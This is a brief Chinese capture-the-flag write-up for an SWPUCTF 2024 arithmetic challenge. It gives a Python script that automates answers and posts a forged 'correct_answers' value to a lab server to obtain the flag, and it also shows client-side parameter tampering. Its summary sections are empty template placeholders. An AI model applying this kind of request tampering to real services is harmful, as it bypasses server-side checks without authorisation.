Problem: [SWPUCTF 2024 秋季新生赛]区区算数罢了
思路
- 解题大致思路
EXP
Ctrl+u 阅读源码后可以修改post中参数的值并调用函数或者写一个python脚本获得flag
correctAnswers=10
getFlag()
import requests
import re
BASE_URL = 'http://node6.anna.nssctf.cn:29696'
session = requests.Session()
correct_count = 0
def solve_expression(original):
clean_exp = re.sub(r'[^\d\-+*/]', '', original)
return eval(clean_exp)
def get_question():
resp = session.get(f"{BASE_URL}/get_question")
return resp.json()
def check_answer(data, answer):
payload = {
"question": data['question'],
"answer": answer,
"timestamp": data['timestamp'],
"correct_answer": data['answer'],
"original": data['original']
}
resp = session.post(f"{BASE_URL}/check_answer", json=payload)
return resp.json()
def get_flag():
payload = {"correct_answers": 10}
resp = session.post(f"{BASE_URL}/get_flag", json=payload)
return resp.json()
while correct_count < 10:
# 获取题目
question_data = get_question()
# 计算答案
calculated = solve_expression(question_data['original'])
# 提交验证
result = check_answer(question_data, calculated)
print(f"第{correct_count+1}题结果:{result['message']}")
# 更新计数器
if result.get('correct'):
correct_count += 1
else:
correct_count = 0
# 获取flag(严格对应前端逻辑)
flag_data = get_flag()
print(f"\n最终flag:{flag_data.get('flag', '未找到flag')}")
print("完整flag响应:", flag_data)
总结
- 对该题的考点总结

加载中...